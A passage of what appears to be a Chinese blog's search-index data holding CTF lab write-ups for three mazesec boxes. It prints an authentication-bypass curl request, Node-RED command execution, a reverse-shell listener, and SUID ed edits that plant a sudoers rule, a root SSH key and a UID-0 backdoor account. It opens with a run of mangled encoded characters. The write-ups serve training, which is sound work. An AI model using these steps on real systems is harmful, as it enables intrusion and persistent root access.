hereM-bM-^@M-^KM-bM-^@M-^MM-bM-^@M-^MM-bM-^@M-^KM-bM-^@M-^KM-bM-^@M-^MM-bM-^@M-^MM-bM-^@M-^KM-bM-^@M-^KM-bM-^@M-^MM-bM-^@M-^MM-bM-^@M-^KM-bM-^@M-^MM-bM-^@M-^MM-bM-^@M-^KM-bM-^@M-^KM-bM-^@M-^KM-bM-^@M-^MM-bM-^@M-^MM-bM-^@M-^KM-bM-^@M-^KM-bM-^@M-^KM-bM-^@M-^KM-bM-^@M-^MM-bM-^@M-^KM-bM-^@M-^MM-bM-^@M-^MM-bM-^@M-^KM-bM-^@M-^KM-bM-^@M-^MM-bM-^@M-^MM-bM-^@M-^MM-bM-^@M-^KM-bM-^@M-^MM-bM-^@M-^MM-bM-^@M-^MM-bM-^@M-^MM-bM-^@M-^KM-bM-^@M-^MM-bM-^@M-^MM-bM-^@M-^KM-bM-^@M-^KM-bM-^@M-^MM-bM-^@M-^MM-bM-^@M-^KM-bM-^@M-^KM-bM-^@M-^KM-bM-^@M-^MM-bM-^@M-^KM-bM-^@M-^MM-bM-^@M-^MM-bM-^@M-^KM-bM-^@M-^MM-bM-^@M-^MM-bM-^@M-^MM-bM-^@M-^KM-bM-^@M-^KM-bM-^@M-^MM-bM-^@M-^MM-bM-^@M-^MM-bM-^@M-^KM-bM-^@M-^MM-bM-^@M-^MM-bM-^@M-^KM-bM-^@M-^KM-bM-^@M-^KM-bM-^@M-^MM-bM-^@M-^MM-bM-^@M-^KM-bM-^@M-^KM-bM-^@M-^KM-bM-^@M-^MM-bM-^@M-^KM-bM-^@M-^KM-bM-^@M-^MM-bM-^@M-^MM-bM-^@M-^KM-bM-^@M-^MM-bM-^@M-^KM-bM-^@M-^MM-bM-^@M-^KM-bM-^@M-^KM-bM-^@M-^MM-bM-^@M-^MM-bM-^@M-^KM-bM-^@M-^KM-bM-^@M-^KM-bM-^@M-^MM-bM-^@M-^KM-bM-^@M-^MM-bM-^@M-^MM-bM-^@M-^KM-bM-^@M-^KM-bM-^@M-^KM-bM-^@M-^MM-bM-^@M-^KM-bM-^@M-^KM-bM-^@M-^KM-bM-^@M-^MM-bM-^@M-^MM-bM-^@M-^KM-bM-^@M-^KM-bM-^@M-^KM-bM-^@M-^MM-bM-^@M-^KM-bM-^@M-^KM-bM-^@M-^MM-bM-^@M-^MM-bM-^@M-^KM-bM-^@M-^KM-bM-^@M-^MM-bM-^@M-^MM-bM-^@M-^KM-bM-^@M-^KM-bM-^@M-^MM-bM-^@M-^MM-bM-^@M-^MM-bM-^@M-^KM-bM-^@M-^MM-bM-^@M-^KM-bM-^@M-^KM-bM-^@M-^MM-bM-^@M-^MM-bM-^@M-^KM-bM-^@M-^MM-bM-^@M-^KM-bM-^@M-^KM-bM-^@M-^MM-bM-^@M-^KM-bM-^@M-^MM-bM-^@M-^MM-bM-^@M-^KM-bM-^@M-^MM-bM-^@M-^MM-bM-^@M-^MM-bM-^@M-^KM-bM-^@M-^KM-bM-^@M-^MM-bM-^@M-^MM-bM-^@M-^MM-bM-^@M-^KM-bM-^@M-^MM-bM-^@M-^MM-bM-^@M-^KM-bM-^@M-^KM-bM-^@M-^MM-bM-^@M-^MM-bM-^@M-^KM-bM-^@M-^MM-bM-^@M-^KM-bM-^@M-^KM-bM-^@M-^MM-bM-^@M-^KM-bM-^@M-^MM-bM-^@M-^MM-bM-^@M-^MM-bM-^@M-^KM-bM-^@M-^KM-bM-^@M-^MM-bM-^@M-^MM-bM-^@M-^KM-bM-^@M-^MM-bM-^@M-^MM-bM-^@M-^KM-bM-^@M-^MM-bM-^@M-^KM-bM-^@M-^KM-bM-^@M-^MM-bM-^@M-^KM-bM-^@M-^MM-bM-^@M-^MM-bM-^@M-^KM-bM-^@M-^KM-bM-^@M-^KM-bM-^@M-^MM-bM-^@M-^KM-bM-^@M-^KM-bM-^@M-^MM-bM-^@M-^MM-bM-^@M-^K","date":"2026-05-29","heading":"信息收集","objectID":"/p/blindspot/:1:0","tags":["mazesec","Easy"],"title":"BlindSpot","uri":"/p/blindspot/#信息收集"},{"categories":["靶机复盘"],"collections":null,"content":"SSH 初始访问 ╭─ /tmp/123 ──────────────────────────────────────────────────────────── ✔  root@kali  06:25:58 ╰─ ssh 1nv151b13@192.168.56.122 -p 22 The authenticity of host '192.168.56.122 (192.168.56.122)' can't be established. ED25519 key fingerprint is: SHA256:xJ90oWmr5sPR2afHz9etzSdtxINmLI+JvbwgV/iCsWY This host key is known by the following other names/addresses: ~/.ssh/known_hosts:14: [hashed name] ~/.ssh/known_hosts:23: [hashed name] ~/.ssh/known_hosts:24: [hashed name] ~/.ssh/known_hosts:26: [hashed name] Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added '192.168.56.122' (ED25519) to the list of known hosts. 1nv151b13@192.168.56.122's password: _ __ _____| | ___ ___ _ __ ___ ___ \\ \\ /\\ / / _ \\ |/ __/ _ \\| '_ ` _ \\ / _ \\ \\ V V / __/ | (_| (_) | | | | | | __/ \\_/\\_/ \\___|_|\\___\\___/|_| |_| |_|\\___| 1nv151b13@BlindSpot:~$ ls -al total 12 drwxr-sr-x 2 1nv151b13 1nv151b13 4096 May 17 22:33 . drwxr-xr-x 3 root root 4096 May 17 22:12 .. -rw-r--r-- 1 root 1nv151b13 44 May 17 22:33 user.txt 1nv151b13@BlindSpot:~$ cat user.txt flag{user-1f1ae47bd96611161d31fc093e6100ac} ","date":"2026-05-29","heading":"SSH 初始访问","objectID":"/p/blindspot/:2:0","tags":["mazesec","Easy"],"title":"BlindSpot","uri":"/p/blindspot/#ssh-初始访问"},{"categories":["靶机复盘"],"collections":null,"content":"系统内部信息收集 1nv151b13@BlindSpot:~$ find / -perm -4000 -exec ls -al {} \\; 2\u003e/dev/null -rwsr-xr-x 1 root root 30768 May 16 00:20 /bin/umount ---s--x--x 1 root root 14224 Jan 10 23:38 /bin/bbsuid -rwsr-xr-x 1 root root 38960 May 16 00:20 /bin/mount -rwsr-xr-x 1 root root 51504 May 17 22:22 /usr/bin/ -rwsr-xr-x 1 root root 26824 Apr 10 03:19 /usr/bin/expiry -rwsr-xr-x 1 root root 48464 Apr 10 03:19 /usr/bin/chsh -rwsr-xr-x 1 root root 80552 Apr 10 03:19 /usr/bin/chage -rwsr-xr-x 1 root root 88968 Apr 10 03:19 /usr/bin/passwd -rwsr-xr-x 1 root root 67680 Apr 10 03:19 /usr/bin/gpasswd -rwsr-xr-x 1 root root 199632 Jan 23 13:06 /usr/bin/sudo -rwsr-xr-x 1 root root 50032 Apr 10 03:19 /usr/bin/chfn 看到一个可疑文件：/usr/bin/ 。 1nv151b13@BlindSpot:~$ strings '/usr/bin/ ' # 发现了一些内容： Shell access restricted Directory access restricted Newline character not allowed in file names Control characters not allowed in file names Memory exhausted. GNU ed is a line-oriented text editor. It is used to create, display, modify and otherwise manipulate text files, both interactively and via /usr/bin/ 看起来像是 ed 二进制文件。 1nv151b13@BlindSpot:~$ md5sum \"/usr/bin/ \" \"/bin/ed\" 380269341cc778c4b3b80ddcefba7ef7 /usr/bin/ 380269341cc778c4b3b80ddcefba7ef7 /bin/ed 验证两个文件是否内容相同，利用hash值验证，还可以使用sha1sum sha256sum。 ed的shell提权无法使用，会降级。 ","date":"2026-05-29","heading":"系统内部信息收集","objectID":"/p/blindspot/:3:0","tags":["mazesec","Easy"],"title":"BlindSpot","uri":"/p/blindspot/#系统内部信息收集"},{"categories":["靶机复盘"],"collections":null,"content":"权限提升 ed 有写入的能力，可以修改/etc/passwd 、/etc/shadow、/root/.ssh/authorized_keys，获取root权限： 方法一： 1nv151b13@BlindSpot:~$ '/usr/bin/ ' /etc/sudoers 5053 a 1nv151b13 ALL=(ALL:ALL) NOPASSWD: ALL . w 5081 q 1nv151b13@BlindSpot:~$ sudo su root@BlindSpot:/home/1nv151b13# 方法二： 1nv151b13@BlindSpot:~/.ssh$ '/usr/bin/ ' /root/.ssh/authorized_keys 81 a ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIIfy3402O5EN6KOaInOukRh3bNQwoLDjEs88Wb+TuN3f root@kali . w 172 q ╭─ ~/.ssh ────────────────────────────────────────────────────────────── ✔  root@kali  06:53:39 ╰─ ssh root@192.168.56.122 -p 22 _ __ _____| | ___ ___ _ __ ___ ___ \\ \\ /\\ / / _ \\ |/ __/ _ \\| '_ ` _ \\ / _ \\ \\ V V / __/ | (_| (_) | | | | | | __/ \\_/\\_/ \\___|_|\\___\\___/|_| |_| |_|\\___| root@BlindSpot:~# 方法三： 1nv151b13@BlindSpot:~/.ssh$ '/usr/bin/ ' /etc/shadow 645 a backdoor:$6$xqxSEc.pyQksUhEa$IfVc1QV92zzeBy3etMOMpuN2zW5nPPH5FYksFhIa/LisPbWVQ8Q/ErXOULi7M2vEPz2Gku8aC9AcLrK5ou5C1.:20590:0:99999:7::: . w 780 q 1nv151b13@BlindSpot:~/.ssh$ '/usr/bin/ ' /etc/passwd 846 a backdoor:x:0:0:root:/root:/bin/bash . w 886 q C:\\Users\\325[hidden]\u003essh backdoor@192.168.56.122 -p 22 backdoor@192.168.56.122's password: _ __ _____| | ___ ___ _ __ ___ ___ \\ \\ /\\ / / _ \\ |/ __/ _ \\| '_ ` _ \\ / _ \\ \\ V V / __/ | (_| (_) | | | | | | __/ \\_/\\_/ \\___|_|\\___\\___/|_| |_| |_|\\___| root@BlindSpot:~# ","date":"2026-05-29","heading":"权限提升","objectID":"/p/blindspot/:4:0","tags":["mazesec","Easy"],"title":"BlindSpot","uri":"/p/blindspot/#权限提升"},{"categories":["靶机复盘"],"collections":null,"content":"总结 靶机反应出我的问题： sudo : 只停留在sudo -l suid : 会搜索，但是无法准确找出有问题的 suid 二进制文件 问题已解决 ","date":"2026-05-29","heading":"总结","objectID":"/p/blindspot/:5:0","tags":["mazesec","Easy"],"title":"BlindSpot","uri":"/p/blindspot/#总结"},{"categories":["靶机复盘"],"collections":null,"content":"mazesec 靶机 FUXA 复盘 的渗透测试与提权记录","date":"2026-05-26","objectID":"/p/fuxa/","tags":["mazesec","Medium"],"title":"FUXA 复盘","uri":"/p/fuxa/"},{"categories":["靶机复盘"],"collections":null,"content":" 作者 难度 平台 hel2zy medium(根据自己的情况定的) mazesec ","date":"2026-05-26","heading":"","objectID":"/p/fuxa/:0:0","tags":["mazesec","Medium"],"title":"FUXA 复盘","uri":"/p/fuxa/#"},{"categories":["靶机复盘"],"collections":null,"content":"信息收集 ╭─ /tmp/123 ───────────────────────────────────────── ✔  root@kali  03:39:07 ╰─ nmap 192.168.56.120 -p- Starting Nmap 7.98 ( https://nmap.org ) at 2026-05-25 03:39 -0400 Nmap scan report for 192.168.56.120 Host is up (0.00092s latency). Not shown: 65532 closed tcp ports (reset) PORT STATE SERVICE 22/tcp open ssh 80/tcp open http 1881/tcp open ibm-mqseries2 MAC Address: 08:00:27:0B:B4:16 (Oracle VirtualBox virtual NIC) Nmap done: 1 IP address (1 host up) scanned in 43.75 seconds ╭─ /tmp/123 ─────────────────────────────────── ✔  44s  root@kali  03:39:56 ╰─ nmap 192.168.56.120 -p22,80,1881 -sC -sV Starting Nmap 7.98 ( https://nmap.org ) at 2026-05-25 03:43 -0400 Nmap scan report for 192.168.56.120 Host is up (0.0072s latency). PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 10.0p2 Debian 7+deb13u1 (protocol 2.0) 80/tcp open http Apache httpd 2.4.66 ((Debian)) |_http-server-header: Apache/2.4.66 (Debian) |_http-title: FUXA 1881/tcp open http Node.js Express framework |_http-title: FUXA MAC Address: 08:00:27:0B:B4:16 (Oracle VirtualBox virtual NIC) Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 13.83 seconds 对于80 1881 端口进行访问，发现内容是一样的。 对该网站捣鼓了一会后，猜测该网站应该是某种框架，搜索FUXA： 搜索到的第一个内容就在GitHub上，进去查看了一下其中的内容，猜测FUXA是开源的的，源码内容可能就在Github上。 我们可以在Security and quality查看最近的安全报告： 我们要缩小查找范围，必须确定 FUXA 的版本，FUXA的版本信息：在main.*.js或package.json文件中可以看到，但package.json必须有权限才能看，所以这里只能从前端看： 从控制台可以看到，FUXA的版本信息为：1.2.8-2638，我们只需要搜索影响1.2.8的CVE公开漏洞。 我查到CVE-2026-43945可以利用，漏洞原理： CVE-2026-43945漏洞是认证中间件中的路径混淆缺陷。服务器使用子串匹配完整 URL（包括查询参数）来排除某些路径不进行认证。 设计逻辑： const url = req.originalUrl || req.url || req.path; if (url.includes('/socket.io')) return next(); 通过在任何管理请求后附加 ?x=/socket.io，中间件会被“欺骗”，将该请求视为公开的 WebSocket 握手，从而完全绕过 secureEnabled 和 nodeRedAuthMode 的检查。 漏洞验证： # 这是正常访问下的 curl http://192.168.56.120:1881/api/version {\"error\":\"unauthorized_error\",\"message\":\"Authentication required!\"}# # 利用?x=/socket.io 绕过 curl -i \"http://192.168.56.120:1881/api/version?x=/socket.io\" HTTP/1.1 200 OK X-Powered-By: Express Access-Control-Allow-Methods: GET,PUT,POST,DELETE,OPTIONS Access-Control-Allow-Headers: x-access-token, x-auth-user, Origin, Content-Type, Accept X-RateLimit-Limit: 100 X-RateLimit-Remaining: 99 Date: Mon, 25 May 2026 13:03:50 GMT X-RateLimit-Reset: 1779714267 Content-Type: application/json; charset=utf-8 Content-Length: 7 ETag: W/\"7-Cirs2uSpdAjnR3V3ReVBOKiq2OQ\" Connection: keep-alive Keep-Alive: timeout=5 \"1.0.0\"# 这个可以绕过受保护的/nodered/*端点的认证检测，可以配合Node-RED进行远程代码执行。 ","date":"2026-05-26","heading":"信息收集","objectID":"/p/fuxa/:1:0","tags":["mazesec","Medium"],"title":"FUXA 复盘","uri":"/p/fuxa/#信息收集"},{"categories":["靶机复盘"],"collections":null,"content":"漏洞利用 http://192.168.56.120:1881/nodered/?x=/socket.io#flow/tab_1访问这个页面： inject 移动到右边的空白区域 exec 移动到右边的空白区区域，并在命令写入whoami debug 移动到右边的空白区域 将他们连接起来，就像这样： exec 我们可以看到三个节点，从上到下代表：标准输出 标准错误输出 返回代码；其实把标准输出 标准错误输出连接到debug就可以。 看到部署没有，点击部署。 点击注入左边的按钮，注入成功后，可以在调试窗口看到命令执行的结果。 基本上就是这样利用的，反向shell，只需要把whoami更改为反向shell的payload，按上面的6，7操作再走一遍即可。 ","date":"2026-05-26","heading":"漏洞利用","objectID":"/p/fuxa/:2:0","tags":["mazesec","Medium"],"title":"FUXA 复盘","uri":"/p/fuxa/#漏洞利用"},{"categories":["靶机复盘"],"collections":null,"content":"反向shell获取立足点 # kali nc -lvnp 39666 listening on [any] 39666 ... payload 如下图： connect to [192.168.56.101] from (UNKNOWN) [192.168.56.120] 53654 id uid=33(www-data) gid=33(www-data) groups=33(www-data) script -qc /bin/bash /dev/null www-data@FUXA:/opt/fuxa/FUXA/server$ ^Z [1] + 1125 suspended nc -lvnp 39666 stty raw -echo;fg [1] + 1125 continued nc -lvnp 39666 reset reset: unknown terminal type unknown Terminal type? xterm www-data@FUXA:/opt/fuxa/FUXA/server$ export SHELL=\"/bin/bash\" www-data@FUXA:/opt/fuxa/FUXA/server$ export TERM=\"xterm-256color\" www-data@FUXA:/opt/fuxa/FUXA/server$ stty size 24 80 # kali stty size 34 82 # 靶机 www-data@FUXA:/opt/fuxa/FUXA/server$ stty rows 34 columns 82 ","date":"2026-05-26","heading":"反向shell获取立足点","objectID":"/p/fuxa/:3:0","tags":["mazesec","Medium"],"title":"FUXA 复盘","uri":"/p/fuxa/#反向shell获取立足点"},{"categories":["靶机复盘"],"collections":null,"content":"系统内部信息收集 www-data@FUXA:/opt/fuxa/FUXA/server$ cat /etc/passwd | grep bash root:x:0:0:root:/root:/bin/bash git:x:1001:1001:Git:/home/git:/bin/bash 两个用户root git 查看了sudo、suid、capablities、内网端口开放情况、内核漏洞，都没有可以利用的信息，经出题人提示：定时任务。 上传pspy64到靶机上，chmod +x ./pspy64。 ./pspy64 2026/05/26 00:14:02 CMD: UID=1001 PID=4179 | /bin/bash -c /opt/fuxa/FUXA/server/scripts/local-sync.sh \u003e/dev/null 2\u003e\u00261 2026/05/26 00:14:02 CMD: UID=1001 PID=4180 | /usr/bin/sshpass -p /usr/bin/ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null git@127.0.0.1 /usr/local/bin/theme-refresh --quick 发现两个可疑进程，查看local-sync.sh: cat /opt/fuxa/FUXA/server/scripts/local-sync.sh #!/bin/bash set -euo pipefail LOCAL_HOST=\"${1:-127.0.0.1}\" GIT_USER=\"git\" GIT_PASS=\"wi3fw39w0j12e\" REMOTE_CMD=\"/usr/local/bin/theme-refresh --quick\" exec /usr/bin/sshpass -p \"$GIT_PASS\" /usr/bin/ssh \\ -o StrictHostKeyChecking=no \\ -o UserKnownHostsFile=/dev/null \\ \"${GIT_USER}@${LOCAL_HOST}\" \"$REMOTE_CMD\" 获取到git的ssh 凭据：git : wi3fw39w0j12e。 ssh git@192.168.56.120 -p 22 git@192.168.56.120's password: Linux FUXA 6.12.86+deb13-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.12.86-1 (2026-05-08) x86_64 The programs included with the Debian GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright. Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. git@FUXA:~$ cat user.txt flag{git-ba9f11ecc3497d9993b933fdc2bd61e5} 我是真没想到，最后是通过.git泄露获取ssh私钥，我想记录一下这个过程： git@FUXA:~$ find / -name .git 2\u003e/dev/null /opt/fuxa/FUXA/.git git@FUXA:~$ cd /opt/fuxa/FUXA git@FUXA:/opt/fuxa/FUXA$ git log commit b7aab7ba14f943a94302f2e04bc86e621c2eb558 (HEAD -\u003e main) Author: field-ops Date: Fri Dec 19 10:36:00 2025 -0500 docs: note asset bundle slot convention commit 15a61556c42d78d6b99746036e10545c446eac14 Author: field-ops Date: Fri Dec 19 10:08:00 2025 -0500 ui: stage northbank station dashboard copy commit fbb0edc67415359de5008f5a4b5822229357455c Author: field-ops Date: Fri Dec 19 09:12:00 2025 -0500 ops: keep local theme sync helper commit 5d8463f5d1cf6fac512ff3f4c6889901330c4c21 (grafted, tag: v1.2.8) Author: unocelli Date: Thu Dec 18 21:02:23 2025 +0100 Build for release 通过git show hash，发现：只有fbb0edc67415359de5008f5a4b5822229357455chash的内容是关于脚本的，剩下两个关于描述。 git@FUXA:/opt/fuxa/FUXA$ git show fbb0edc67415359de5008f5a4b5822229357455c commit fbb0edc67415359de5008f5a4b5822229357455c Author: field-ops Date: Fri Dec 19 09:12:00 2025 -0500 ops: keep local theme sync helper diff --git a/server/scripts/local-sync.sh b/server/scripts/local-sync.sh new file mode 100644 index 0000000..a898e28 --- /dev/null +++ b/server/scripts/local-sync.sh @@ -0,0 +1,12 @@ +#!/bin/bash +set -euo pipefail + +LOCAL_HOST=\"${1:-127.0.0.1}\" +GIT_USER=\"git\" +GIT_PASS=\"wi3fw39w0j12e\" +REMOTE_CMD=\"/usr/local/bin/theme-refresh --quick\" + +exec /usr/bin/sshpass -p \"$GIT_PASS\" /usr/bin/ssh \\ + -o StrictHostKeyChecking=no \\ + -o UserKnownHostsFile=/dev/null \\ + \"${GIT_USER}@${LOCAL_HOST}\" \"$REMOTE_CMD\" 这些内容对于root提权并没有价值。 git@FUXA:/opt/fuxa/FUXA$ git branch -a * main # 只有一个分支 git@FUXA:/opt/fuxa/FUXA$ git tag -l v1.2.8 # 这个就是 commit 5d8463f5d1cf6fac512ff3f4c6889901330c4c21 (grafted, tag: v1.2.8) # 没有任何信息 git@FUXA:/opt/fuxa/FUXA$ git stash list # 没有任何暂存信息 git@FUXA:/opt/fuxa/FUXA$ git for-each-ref --format='%(refname) %(objectname)' refs/heads/main b7aab7ba14f943a94302f2e04bc86e621c2eb558 refs/tags/v1.2.8 5d8463f5d1cf6fac512ff3f4c6889901330c4c21 # 仓库里并没有藏别的引用 git@FUXA:/opt/fuxa/FUXA$ git rev-parse --is-shallow-repository true # 查看这个仓库是不是“浅克隆”。 # 是浅克隆，证明前面并没有隐藏提交 git@FUXA:/opt/fuxa/FUXA$ cat .git/shallow 5d8463f5d1cf6fac512ff3f4c6889901330c4c21 # 浅边界具体记录的是：5d8463f5d1cf6fac512... # 本地历史到这里就结束了 git@FUXA:/opt/fuxa/FUXA$ git fsck --full --no-reflogs --unreachable Checking object directories: 100% (256/256), done. Checking objects: 100% (1441/1441), done. unreachable tree c571b7107cec708b402a3ff1264f4ec42ae09cea unreachable commit a272d4c0e5e6ba742bbe7a5","date":"2026-05-26","heading":"系统内部信息收集","objectID":"/p/fuxa/:4:0","tags":["mazesec","Medium"],"title":"FUXA 复盘","uri":"/p/fuxa/#系统内部信息收集"},{"categories":["靶机复盘"],"collections":null,"content":"获取flag vim ssh chmod 600 ./ssh ssh root@192.168.56.120 -p 22 -i ./ssh Linux FUXA 6.12.86+deb13-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.12.86-1 (2026-05-08) x86_64 The programs included with the Debian GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright. Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. Last login: Mon May 25 03:08:01 2026 from 192.168.56.1 root@FUXA:~# ls root.txt root@FUXA:~# cat root.txt flag{root-a01a6651f93b105d6fa6908d37a43275} root@FUXA:~# ","date":"2026-05-26","heading":"获取flag","objectID":"/p/fuxa/:5:0","tags":["mazesec","Medium"],"title":"FUXA 复盘","uri":"/p/fuxa/#获取flag"},{"categories":["靶机复盘"],"collections":null,"content":"攻击链总结 信息收集：端口 22 80 1881端口，1881 的版本泄露出来为：1.2.8-2638，搜索FUXA的CVE公开漏洞并进行验证，发现：CVE-2026-43945 可以绕过。 漏洞利用：利用?x=/socket.io绕过/nodered/*的权限校验，通过Node-RED进行远程代码执行。 反向shell获取立足点：利用Node-RED执行反向shell的payload，获取立足点。 系统内部信息收集：.pspy64查看定时任务，发现可疑定时任务脚本，通过定时任务脚本泄露的硬编码并切换到git，最后从本地Git隐藏对象和额外Git对象库中挖出 root ssh 私钥。 获取flag：通过ssh私钥进行登录，拿到root权限获取flag。 ","date":"2026-05-26","heading":"攻击链总结","objectID":"/p/fuxa/:6:0","tags":["mazesec","Medium"],"title":"FUXA 复盘","uri":"/p/fuxa/#攻击链总结"},{"categories":["靶机复盘"],"collections":null,"content":"总结 从这个靶机引出了些问题： linux 定时任务，掌握情况不佳 5.26 19.27 补了一些这方面的知识 差点忘了，bash 脚本 有些也看不懂。 从该靶机获得的经验： node js 框架的网站 版本可能在控制台泄露出来 最后系统内部的信息收集，各种可能有提权的都查看了，我是真没有想到 .git 里隐藏了信息，这个靶机拓展了我的思路。 ","date":"2026-05-26","heading":"总结","objectID":"/p/fuxa/:7:0","tags":["mazesec","Medium"],"title":"FUXA 复盘","uri":"/p/fuxa/#总结"},{"categories":["靶机复盘"],"collections":null,"content":"mazesec 靶机 Believe 复盘 的渗透测试与提权记录","date":"2026-05-23","objectID":"/p/believe/","tags":["mazesec","Easy"],"title":"Believe 复盘","uri":"/p/believe/"},{"categories":["靶机复盘"],"collections":null,"content":" 作者 难度 平台 Gropers Easy(我放到easy) mazesec ","date":"2026-05-23","heading":"","objectID":"/p/believe/:0:0","tags":["mazesec","Easy"],"title":"Believe 复盘","uri":"/p/believe/#"},{"categories":["靶机复盘"],"collections":null,"content":"信息收集 root@kali:~# nmap 192.168.56.119 -p- Starting Nmap 7.98 ( https://nmap.org ) at 2026-05-23 05:29 -0400 Nmap scan report for 192.168.56.119 Host is up (0.00055s latency). Not shown: 65531 closed tcp ports (reset) PORT STATE SERVICE 22/tcp open ssh 80/tcp open http 2222/tcp open EtherNetIP-1 54321/tcp open unknown MAC Address: 08:00:27:5A:ED:07 (Oracle VirtualBox virtual NIC) Nmap done: 1 IP address (1 host up) scanned in 36.37 seconds root@kali:~# nmap 192.168.56.119 -p22,80,2222,54321 -sC -sV Starting Nmap 7.98 ( https://nmap.org ) at 2026-05-23 05:30 -0400 Nmap scan report for 192.168.56.119 Host is up (0.0019s latency). PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 10.3 (protocol 2.0) 80/tcp open http Apache httpd 2.4.67 ((Unix)) | http-cookie-flags: | /: | PHPSESSID: |_ httponly flag not set |_http-title: Login |_http-server-header: Apache/2.4.67 (Unix) 2222/tcp open ssh OpenSSH 10.3 (protocol 2.0) 54321/tcp open ssh OpenSSH 10.3 (protocol 2.0) MAC Address: 08:00:27:5A:ED:07 (Oracle VirtualBox virtual NIC) Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 8.40 seconds 当时我并没有扫描全部的接口，只扫到了22/tcp 2222/tcp，并没有扫到54321/tcp。 root@kali:~# dirsearch -u \"http://192.168.56.119/\" [05:33:19] 200 - 820B - /cgi-bin/printenv [05:33:19] 200 - 1KB - /cgi-bin/test-cgi [05:33:23] 302 - 0B - /dashboard.php -\u003e index.php index.php为登录界面，访问/dashboard.php会跳转到index.php，猜测如果密码正确会跳转到/dashboard.php。 尝试爆破admin密码，5000.txt 10000.txt 20000.txt都尝试了，并没有起色。 突破口转向ssh 服务的端口： root@kali:~# ssh root@192.168.56.119 -p 22 ================================================== admin yubao9694482664 ================================================== root@192.168.56.119's password: ll104567当时出题HGBE，ssh服务就隐藏了一些信息，我这里尝试，确实发现了一些信息。 POST / HTTP/1.1 Host: 192.168.56.119 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Upgrade-Insecure-Requests: 1 Idempotency-Key: \"818074399399579628\" Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Sec-GPC: 1 Origin: http://192.168.56.119 Cookie: PHPSESSID=ue8uah7leo1tcimbmrc352atj9 Accept-Encoding: gzip, deflate Referer: http://192.168.56.119/ Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:140.0) Gecko/20100101 Firefox/140.0 Priority: u=0, i Content-Length: 25 u=admin\u0026p=yubao9694482664 这里要登录三次才能进入dashboard.php页面。 看起来可以进行命令执行，经过多次尝试，发现其只能执行cat 或 ls命令，用cat读取/etc/passwd，没有返回内容，读取yu.txt有返回内容，到此我还不能确定过滤规则，我把url和phpsessid发给ai，ai用cat读取了/etc/banner.txt，我就猜测可能要有.txt后缀才能读取到。 cat dashboard.php.txt查看源码： \u003c?php error_reporting(0); session_start(); if (isset($_POST['logout'])) { session_destroy(); header('Location: index.php'); exit; } if (!isset($_SESSION['auth']) || $_SESSION['auth'] !== true) { header('Location: index.php'); exit; } $r = ''; if (isset($_POST['cmd'])) { $c = trim($_POST['cmd']); if (preg_match('/^ls(\\s+.*)?$/', $c) || preg_match('/^cat\\s+.*\\.txt$/', $c)) { if (!preg_match('/[;|\u0026$\u003e\u003c`\\n]/', $c)) { $r = shell_exec($c); } } } ?\u003e \u003c!DOCTYPE html\u003e Dashboard System Console yu@Believe:~$ \u003c?php echo htmlspecialchars($r, ENT_QUOTES, 'UTF-8'); ?\u003e 从源码看，只能进行文件读取。 查看/etc/ssh/sshd_config: Match LocalPort 22 DenyUsers yu Banner /etc/ssh_banner # 原来这就是提示信息呀 Match LocalPort 2222 DenyUsers yu # 禁止 yu 登录 从这里可以看出，并不允许 yu 用户在 22 2222端口登录，所以只能通过54321端口登录，yu.txt 也进行了提示。 ssh 登录，爆破了 5000.txt 10000.txt，并没有爆破到，最后想到密码复用yubao9694482664。 ","date":"2026-05-23","heading":"信息收集","objectID":"/p/believe/:1:0","tags":["mazesec","Easy"],"title":"Believe 复盘","uri":"/p/believe/#信息收集"},{"categories":["靶机复盘"],"collections":null,"content":"SSH凭据登录 获取立足点 root@kali:~# ssh yu@192.168.56.119 -p54321 yu@192.168.56.119's password: _ __ _____| | ___ ___ _ __ ___ ___ \\ \\ /\\ / / _ \\ |/ __/ _ \\| '_ ` _ \\ / _ \\ \\ V V / __/ | (_| (_) | | | | | | __/ \\_/\\_/ \\___|_|\\___\\___/|_| |_| |_|\\___| yu@Believe:~$ id uid=1000(yu) gid=1000(yu) groups=1000(yu) ","date":"2026-05-23","heading":"SSH凭据登录 获取立足点","objectID":"/p/believe/:2:0","tags":["mazesec","Easy"],"title":"Believe 复盘","uri":"/p/believe/#ssh凭据登录-获取立足点"},{"categories":["靶机复盘"],"collections":null,"content":"系统内部信息收集 yu@Believe:~$ ls -al total 896 drwx------ 2 yu yu 4096 May 14 15:16 . drwxr-xr-x 3 root root 4096 May 12 22:10 .. ---------- 1 root root 900520 May 14 11:45 be -rw-r--r-- 1 yu yu 91 May 14 14:58 hint.txt -rw-r--r-- 1 yu yu 22 May 14 01:13 user.txt yu@Believe:~$ cat hint.txt The walls have ears, and the logs have a heartbeat. it keeps whispering the truth. Just... ai 翻译 : 隔墙有耳，而日志像有生命一样在跳动。 它一直在悄悄吐露真相，只是…… yu@Believe:~$ ls -al /var/log total 388 drwxr-xr-x 4 root root 4096 May 23 09:59 . drwxr-xr-x 13 root root 4096 May 8 10:51 .. drwx--x--x 2 yu yu 4096 May 14 14:50 .hidden -rw-r----- 1 root wheel 126 May 23 14:10 acpid.log drwxr-s--- 2 apache apache 4096 Feb 25 19:46 apache2 -rw-r--r-- 1 root root 2103 May 12 21:07 apk.log -rw-r--r-- 1 root root 0 May 8 10:56 auth.log -rw-r--r-- 1 root root 0 May 8 10:56 btmp -rw-r--r-- 1 root root 0 May 8 10:56 cron.log -rw-r----- 